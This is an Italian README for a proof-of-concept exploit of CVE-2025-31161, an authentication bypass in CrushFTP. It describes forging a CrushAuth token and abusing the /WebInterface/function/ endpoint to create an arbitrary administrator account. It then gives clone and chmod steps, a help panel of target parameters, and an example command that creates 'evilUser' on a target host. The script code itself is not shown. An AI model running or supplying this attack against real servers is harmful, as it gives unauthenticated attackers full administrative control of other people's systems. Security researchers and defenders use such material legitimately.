CVE-2025-31161 - Exploit di Bypass dell'Autenticazione CrushFTP

PoC CVE-2025-31161 - Bypass dell'Autenticazione CrushFTP

📌 Dettagli CVE

• ID: CVE-2025-31161
• Tipo: Bypass dell'Autenticazione
• Fornitore: CrushFTP
• Impatto: Permette a attaccanti non autenticati di forgiare un token CrushAuth valido e creare un utente amministratore con pieni privilegi.
• Maggiori Info: Entry NVD (quando disponibile)

⚙️ Descrizione

Questo exploit colpisce una vulnerabilità critica in CrushFTP, permettendo a attaccanti remoti non autenticati di bypassare l'autenticazione e creare utenti amministratori arbitrari.

Funziona creando un token CrushAuth dall'aspetto valido e abusando dell'endpoint /WebInterface/function/ per inviare un payload XML completo.

🚀 Utilizzo

🔧 Requisiti

• curl
• shuf

Installazione

git clone https://github.com/f4dee-backup/CVE-2025-31161

cd CVE-2025-31161

chmod +x CVE-2025-31161.sh

Pannello di Aiuto:

./CVE-2025-31161.sh --help

[?] Parameters description:

	--url            Target base URL (e.g., http://target)
	--port           Port where CrushFTP is running
	--target-user    Valid or invalid username (e.g., crushadmin)
	--new-user       Username to be created (e.g., Pwn3d)
	--new-password   Password for the new user
	--help           Show this help panel

[i] Example: ./CVE-2025-31161.sh --url http://target.com --port 80 --target-user crushadmin --new-user evilUser --new-password pass12345